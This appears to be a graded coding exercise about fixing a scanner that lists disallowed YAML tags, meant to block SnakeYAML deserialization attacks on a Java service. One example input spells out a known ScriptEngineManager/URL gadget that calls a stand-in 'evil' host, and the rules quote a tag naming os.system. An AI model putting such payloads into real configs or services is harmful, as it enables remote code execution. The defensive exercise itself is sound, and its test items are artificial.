Fix the YAML tag scan before config loads

Review the AI's codeMedium18 min

Your task

Your Java service loads its config from a YAML file whose path operators can set. It parsed the file with SnakeYAML's default new Yaml(), which builds any Java class a YAML tag names. A tag such as !!javax.script.ScriptEngineManager can run code when the service starts. So a check now lists every tag in the file that is not on an allowlist, before the parser sees it.

An assistant wrote find_disallowed_yaml_tags(document_lines, allowed_tags). It is in the editor. It has a bug. Find it and fix it.

Input and output:

  • document_lines: the lines of the YAML file.
  • allowed_tags: the tags the loader may build, such as !!str.
  • Return the tags that are not allowed, each once, in the order they first appear: line by line, left to right.

Rules the tests check:

  • A tag can start at any ! in a line, wherever it sits. It runs over the characters after that ! while each one is an ASCII letter, a digit from 0 to 9, ., _, -, / or !. It stops at any other character, such as a space, [, , or :. So !!python/object:apply:os.system holds the tag !!python/object.
  • After a tag, the scan goes on from the character that stopped it.
  • A run made only of ! characters, like the ! in hello! world, is not a tag.
  • Trim whitespace from both ends of each entry in allowed_tags. A tag is allowed when it equals a trimmed entry exactly. Case matters: !!Str is not !!str.

Examples

find_disallowed_yaml_tags(document_lines: list[str], allowed_tags: list[str]) -> list[str]
Example 1
Inputfind_disallowed_yaml_tags(["name: prod", "retries: 3"], ["!!str"])
Output[]
Example 2
Inputfind_disallowed_yaml_tags(["engine: !!javax.script.ScriptEngineManager [[!!java.net.URL [\"http://evil\"]]]"], ["!!str", "!!int"])
Output["!!javax.script.ScriptEngineManager", "!!java.net.URL"]
Example 3
Inputfind_disallowed_yaml_tags(["cfg: !Config", "port: !!int 8080"], ["!Config"])
Output["!!int"]